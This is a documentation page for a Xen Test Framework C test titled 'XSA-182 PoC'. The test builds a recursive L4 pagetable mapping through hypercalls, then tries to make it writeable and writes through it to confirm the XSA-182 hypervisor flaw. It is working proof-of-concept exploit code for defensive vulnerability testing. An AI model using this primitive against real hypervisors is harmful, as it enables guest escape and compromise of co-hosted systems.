Xen Test Framework
main.c
Go to the documentation of this file.
1 
27 #include <xtf.h>
28 
29 const char test_title[] = "XSA-182 PoC";
30 
31 void test_main(void)
32 {
33  unsigned long cr3 = read_cr3();
34  intpte_t nl1e = pte_from_paddr(cr3, PF_SYM(AD, U, P));
35  intpte_t *l4 = _p(KB(4));
36 
37  /* Map the L4 at 4K virtual. */
38  if ( hypercall_update_va_mapping(_u(l4), nl1e, UVMF_INVLPG) )
39  return xtf_error("Error: Update va failed\n");
40 
41  unsigned long map_slot = 0, test_slot = 0;
42  unsigned int i;
43 
44  /* Search for free L4 slots. */
45  for ( i = 0; i < L4_PT_ENTRIES; ++i )
46  {
47  if ( !(l4[i] & PF_SYM(P)) )
48  {
49  map_slot = i;
50  break;
51  }
52  }
53  for ( ; i < L4_PT_ENTRIES; ++i )
54  {
55  if ( !(l4[i] & PF_SYM(P)) )
56  {
57  test_slot = i;
58  break;
59  }
60  }
61 
62  if ( !map_slot || !test_slot )
63  return xtf_error("Insufficient free l4 slots\n");
64 
65  mmu_update_t mu = {
66  .ptr = cr3 + (map_slot * PTE_SIZE),
67  .val = cr3 | PF_SYM(AD, U, P),
68  };
69 
70  printk(" Creating recursive l4 mapping\n");
71  int rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF);
72  switch ( rc )
73  {
74  case 0:
75  break;
76 
77  case -EINVAL:
78  return xtf_skip("Skip: Linear pagetables disallowed\n");
79 
80  default:
81  return xtf_error("Error: Recursive mapping failed: %d\n", rc);
82  }
83 
84  printk(" Remapping l4 RW\n");
85  mu.val |= _PAGE_RW;
86  if ( hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF) )
87  {
88  printk(" Attempt to create writeable linear map was blocked\n");
89  return xtf_success("Not vulnerable to XSA-182\n");
90  }
91 
92  /*
93  * At this point, we are quite certain that Xen is vulnerable. Poke
94  * around some more for extra confirmation.
95  */
96 
97  /* Construct a pointer to the writeable mapping of the live l4 table. */
98  intpte_t *writeable = _p(map_slot << L4_PT_SHIFT |
99  map_slot << L3_PT_SHIFT |
100  map_slot << L2_PT_SHIFT |
101  map_slot << L1_PT_SHIFT);
102 
103  writeable[test_slot] = 0xdeadf00d;
104 
105  barrier();
106 
107  if ( l4[test_slot] == 0xdeadf00d )
108  {
109  printk(" Successfully constructed writeable pagetables\n");
110  xtf_failure("Fail: Vulnerable to XSA-182\n");
111  }
112 
113  /*
114  * Clean up the damage, or Xen will have a reference counting issue when
115  * freeing memory.
116  */
117  writeable[test_slot] = 0;
118  barrier();
119 }
120 
121 /*
122  * Local variables:
123  * mode: C
124  * c-file-style: "BSD"
125  * c-basic-offset: 4
126  * tab-width: 4
127  * indent-tabs-mode: nil
128  * End:
129  */
#define L2_PT_SHIFT
Definition: page.h:67
#define EINVAL
Definition: errno.h:33
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
#define barrier()
Definition: compiler.h:30
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define _PAGE_RW
Definition: page.h:26
void printk(const char *fmt,...)
Definition: console.c:134
#define PTE_SIZE
Definition: page.h:61
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
uint64_t ptr
Definition: xen.h:249
#define NULL
Definition: stddef.h:12
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
intpte_t pte_from_paddr(paddr_t paddr, uint64_t flags)
#define KB(num)
Express num in Kilobytes.
Definition: numbers.h:23
static unsigned long read_cr3(void)
Definition: lib.h:243
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
static long hypercall_mmu_update(const mmu_update_t reqs[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition: hypercall.h:60
void xtf_skip(const char *fmt,...)
Report a test skip.
Definition: report.c:66
unsigned long intpte_t
Definition: page.h:152
const char test_title[]
The title of the test.
Definition: main.c:14
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define L1_PT_SHIFT
Definition: page.h:66
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
#define DOMID_SELF
Definition: xen.h:70
uint64_t val
Definition: xen.h:250